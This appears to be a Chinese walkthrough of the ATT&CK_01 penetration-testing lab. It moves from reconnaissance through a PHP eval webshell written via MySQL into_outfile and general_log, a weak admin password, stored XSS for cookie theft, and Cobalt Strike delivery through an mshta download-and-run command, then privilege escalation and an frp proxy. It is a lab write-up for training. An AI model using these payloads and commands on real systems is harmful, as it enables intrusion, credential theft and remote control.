ATT&CK_01靶场复现
环境配置
靶场环境部署时，win7虚机需要进入系统手动开启一下phpstudy，且关闭防火墙。
综合渗透
信息收集
查看本机地址段，使用netdiscover发现同段存活主机
1 | netdiscover -i eth0 -r 192.168.49.0/24 |
使用nmap扫描目前主机端口开放情况
1 | nmap -T4 -A -v -sS 192.168.49.129 |
站点目录扫描
1 | python3 dirsearch.py -u "http://192.168.49.129/" -e php |
漏洞利用
phpmyadmin写日志getshell
web访问发现直接是phpstudy探针,通过探针测试出mysql存在弱口令root/root
因为phpstudy存在phpmyadmin组件，直接利用phpmyadmin实现写webshell操作
1 | select '<?php @eval($_POST["cmd"])?>' into outfile 'C:/phpStudy/WWW/shell.php' |
但是开启了写文件限制
但是这里可以尝试使用日志文件getshell
首先查看日志状态
1 | show variables like '%general%'; |
当开启general时，所执行的sql语句都会出现在stu1.log文件中。那么，如果修改generallogfile的值，那么所执行的sql语句就会对应生成对应的文件中，进而getshell。
1 | SET GLOBAL general_log='on' |
再次执行含有shell的语句，请求发现写入成功
后台弱口令getshell
根据备份站点文件获取完整路径信息
1 | http://192.168.49.129/yxcms/protected/apps/default/view/default/hack.php |
存储型XSS
前台注册用户留言板插入,后台审核通过即可触发。
在实际业务场景下，可以以次获取管理用户cookie，伪造登录
主机上线
cs主机上线提权
使用蚁剑成功连接shell
使用cs html上线主机，且是administrator权限。
1 | mshta http://192.168.49.130:80/download/file.ext |
使用cs内建提权码，成功提至管理员权限
主机信息收集
shell ipconfig /all获取内网主机网段为192.168.29.0/24 域为 god.org
查看域信息
shell net group /domain
上传3389.bat脚本开启3389端口 使用远程桌面进行连接
上传frp代理实现socks5内网穿透
ATT&CK_01靶场复现
